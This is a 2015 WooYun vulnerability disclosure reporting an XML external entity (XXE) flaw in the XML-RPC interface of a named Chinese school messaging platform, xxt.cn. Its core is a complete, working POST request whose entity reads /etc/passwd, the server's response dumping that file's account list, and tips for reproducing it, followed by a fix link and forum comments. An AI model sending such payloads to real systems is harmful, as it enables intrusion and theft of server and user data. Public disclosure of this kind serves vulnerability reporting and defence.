当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101879

漏洞标题:校迅通某关键服务器敏感信息泄露

相关厂商:xxt.cn

漏洞作者: stackworm

提交时间:2015-03-17 16:17

修复时间:2015-05-01 16:18

公开时间:2015-05-01 16:18

漏洞类型:重要敏感信息泄露

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

校迅通一直是很多学校,家长,教师之间的短讯平台.
各路黑阔都垂涎其用户数据的商业价值.
校迅通官方的某接口导致的服务器敏感信息泄露

详细说明:

校讯通官方站
http://www.xxt.cn//xmlrpc
是一个
ZendFramework 的 Zend_XmlRpc接口
由于版本过低
导致
服务器敏感文件的泄露

漏洞证明:

构造POST包
如:

POST //xmlrpc HTTP/1.1
Host: www.xxt.cn
Content-Length: 184
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>


服务器返回:

HTTP/1.1 200 OK
Server: Apache
Date: Tue, 17 Mar 2015 03:40:17 GMT
Content-Type: text/xml
Content-Length: 8961
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN
Original-Content-Encoding: gzip
<?xml version="1.0" encoding="GBK"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><fault><value><struct><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ACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+AGl4AAAAAHA=</base64></value></member><member><name>faultCode</name><value><i4>0</i4></value></member><member><name>faultString</name><value>No such handler: root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
pulse:x:498:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:497:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
tomcat:x:508:508::/usr/xxtsrc:/bin/bash
remote:x:509:509::/usr/u01/shell/remote:/bin/bash
drift:x:510:510::/usr/xxtsrc/drift:/bin/bash
nagios:x:511:511::/home/nagios:/sbin/nologin
nginx:x:512:512::/home/nginx:/sbin/nologin
mfs:x:513:513::/home/mfs:/sbin/nologin
readonly:x:514:514::/usr/xxtsrc:/bin/bash
mobile:x:515:515::/usr/xxtsrc/xxt_mobile:/bin/bash
</value></member></struct></value></fault></methodResponse>


1.png


2.png


漏洞复现时,注意地域IP(河南最好)
另外在构造post包时,注意 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
其中file:///必须为三个斜杠
否则将返回
“Failed to parse XML-RPC request: Premature end of file.”

修复方案:

参见官方
http://framework.zend.com/security/advisory/ZF2012-01

版权声明:转载请注明来源 stackworm@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)


漏洞评价:

评论

  1. 2015-03-17 16:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这个不是zend

  2. 2015-03-17 17:52 | stackworm ( 路人 | Rank:8 漏洞数:1 | feng被注册了,只好用这个 ^_^)

    @xsser 起初我也觉得奇怪,站跑的是java,扯php啥关系......不过两者很像,现就那样写了

  3. 2015-03-18 17:44 | 无心、 ( 实习白帽子 | Rank:71 漏洞数:20 | 你不是风儿,我也不是沙,再怎么缠绵也到不...)

    @xsser 老大还活着?

  4. 2015-05-01 19:54 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)

    能给我家长发短信不